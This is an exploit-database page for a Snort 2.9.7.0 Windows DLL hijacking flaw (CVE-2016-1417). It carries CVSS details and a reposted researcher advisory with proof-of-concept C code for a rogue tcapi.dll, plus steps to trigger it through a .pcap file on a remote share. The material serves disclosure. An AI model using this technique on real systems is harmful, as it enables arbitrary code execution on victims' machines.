Exploitalert - Database of Exploits

Snort v2.9.7.0-WIN32 DLL Hijacking

CVE	Category	Price	Severity
CVE-2016-1417	CWE-427	$3,000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2016-09-29

CPE
cpe:cpe:/a:snort:snort:2.9.7.0

CVSS	EPSS	EPSSP
CVSS:7.8/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016090214

Snort v2.9.7.0-WIN32 DLL Hijacking[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SNORT-DLL-HIJACK.txt [+] ISR: ApparitionSec Vendor: ============= www.snort.org Product: =================== Snort v2.9.7.0-WIN32 Snort is an open-source, free and lightweight network intrusion detection system (NIDS) software for Linux and Windows to detect emerging threats. Vulnerability Type: =================== DLL Hijack CVE Reference: ============== CVE-2016-1417 Vulnerability Details: ===================== snort.exe can be exploited to execute arbitrary code on victims system via DLL hijacking, the vulnerable DLL is "tcapi.dll". If a user opens a ".pcap" file from a remote share using snort.exe and the DLL exists in that directory. Exploit codes(s): ================= Create tcapi.dll #include<windows.h> //gcc -c tcapi.c //gcc -shared -o tcapi.dll tcapi.o BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){ switch (reason) { case DLL_PROCESS_ATTACH: MessageBox(NULL, "DLL Hijacking", "Done!", MB_OK); break; } return 0; } 1) create any empty file on a remote dir share with a .pcap extension 2) place arbitrary DLL named "tcapi.dll" in remote share 3) open with snort.exe 4) BAM! Disclosure Timeline: ======================================= Vendor Notification: April 21, 2016 September 29, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ Medium [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere.

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